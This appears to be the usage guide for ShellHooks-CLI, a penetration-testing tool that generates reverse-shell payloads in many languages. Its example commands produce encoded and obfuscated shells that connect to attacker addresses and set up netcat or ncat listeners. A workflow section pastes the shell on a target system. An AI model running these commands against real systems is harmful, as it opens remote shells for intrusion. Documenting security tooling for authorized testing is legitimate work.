Author: Supun Hewagamage (@supunhg) | Version: 1.1.0 | License: All Rights Reserved
# 1. Clone and build
git clone https://github.com/supunhg/ShellHooks-CLI.git
cd ShellHooks-CLI
./scripts/build_deb.sh
# 2. Install system-wide
sudo dpkg -i shellhooks-cli_1.1.0_all.deb
# 3. Verify
shellhooks --version
man shellhooks# 1. Clone the repository
git clone https://github.com/supunhg/ShellHooks-CLI.git
cd ShellHooks-CLI
# 2. Create virtual environment
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
# 3. Install the package
pip install -e .
# 4. Verify installation
shellhooks --versionUse short aliases for faster workflow:
shellhooks g python -i 10.0.0.1 -p 4444 # g = generate
shellhooks i # i = interactive
shellhooks l --language bash # l = listHide the ASCII banner with -nb or --no-banner (before subcommand):
shellhooks -nb list
shellhooks --no-banner i# Python reverse shell
shellhooks generate python -i 10.0.0.1 -p 4444# Launch interactive wizard (recommended for beginners)
shellhooks interactive
# Or use alias
shellhooks iThe interactive mode will guide you through:
- Selecting a language with fuzzy search
- Choosing version and variant
- Entering IP and port
- Configuring encoding and obfuscation
- Choosing output method (display, clipboard, file, listener)
- NEW: Shell payload is always displayed for easy copying
- NEW: Auto-start listener in a new terminal window
# Show all available shells
shellhooks list
# Show shells for a specific language
shellhooks list --language python
# Search for shells
shellhooks list --search socket# Generate with encoding
shellhooks generate bash -i 192.168.1.100 -p 9001 --encode base64
# Copy to clipboard
shellhooks generate php -i 10.0.0.1 -p 4444 --clipboard
# Save to file
shellhooks generate perl -i 10.0.0.1 -p 4444 --output shell.pl
# Show listener command
shellhooks generate python -i 10.0.0.1 -p 4444 --listener
# Save as preset for reuse
shellhooks generate python -i 10.0.0.1 -p 4444 --save-preset "lab-python"# Generate netcat listener
shellhooks listener -p 4444
# Use ncat with SSL
shellhooks listener -p 4444 --tool ncat --ssl
# Show all listener options
shellhooks listener -p 4444 --all
# Include PTY upgrade instructions
shellhooks listener -p 4444 --pty-upgrade# Save a preset
shellhooks preset save "internal-lab" python -i 10.10.10.50 -p 4444 --encode base64
# Load and use preset
shellhooks preset load "internal-lab" --clipboard
# List all presets
shellhooks preset list
# Delete preset
shellhooks preset delete "internal-lab"# Step 1: Generate shell and copy to clipboard
shellhooks generate python -i 192.168.1.100 -p 4444 --encode base64 --clipboard
# Step 2: Set up listener (in another terminal)
shellhooks listener -p 4444 --pty-upgrade
# Step 3: Paste shell code on target system
# Step 4: Use PTY upgrade commands shown by listener# Save presets for different environments
shellhooks preset save "internal-network" python -i 10.10.10.50 -p 4444
shellhooks preset save "dmz" bash -i 172.16.0.10 -p 443
shellhooks preset save "external" php -i 203.0.113.10 -p 80
# Quick access during engagement
shellhooks preset load "internal-network" --clipboard --listener- Python (3.x, 2.x) - Standard, Short, IPv6
- Bash - TCP, UDP, Exec, FIFO
- Netcat - Traditional, mkfifo, OpenBSD
- PHP - exec, shell_exec, system, passthru
- Perl - Standard, No /bin/sh
- Ruby - Standard, No /bin/sh
- Node.js - Standard, Short
- Java - Standard Runtime
- PowerShell - Standard TCP, Simple
none- No encoding (default)base64- Base64 encoding with auto-decoderurl- URL encodinghex- Hexadecimal encodingunicode- Unicode escape sequences
# Apply obfuscation (levels 1-3)
shellhooks generate python -i 10.0.0.1 -p 4444 --obfuscate 2# Generate shell for SSL listener
shellhooks generate python -i 10.0.0.1 -p 4444 --ssl
# Create SSL listener
shellhooks listener -p 4444 --tool ncat --ssl# Generate multiple shells
for lang in python bash php perl; do
shellhooks generate $lang -i 10.0.0.1 -p 4444 --output "shells/${lang}.txt"
done- Use Interactive Mode when you're unsure about available options
- Save Presets for frequently used configurations
- Always set up listener first before deploying shell
- Use PTY upgrade immediately after connection for better shell
- Test shells in a lab environment before using in engagements
# View comprehensive man page
man shellhooks
# General help
shellhooks --help
# Command-specific help
shellhooks generate --help
shellhooks listener --help
shellhooks preset --help# Ensure virtual environment is activated
source venv/bin/activate
# Or reinstall
pip install -e .# Verify templates.json exists
ls -la src/data/templates.json
# Reinstall if missing
pip install -e . --force-reinstall# Install clipboard support (Linux)
sudo apt install xclip # or xsel
# macOS and Windows should work out of the box- Explore all available shells:
shellhooks list - Try interactive mode:
shellhooks interactive - Read the comprehensive man page:
man shellhooks - Read the full documentation in README.md
- Check the changelog: CHANGELOG.md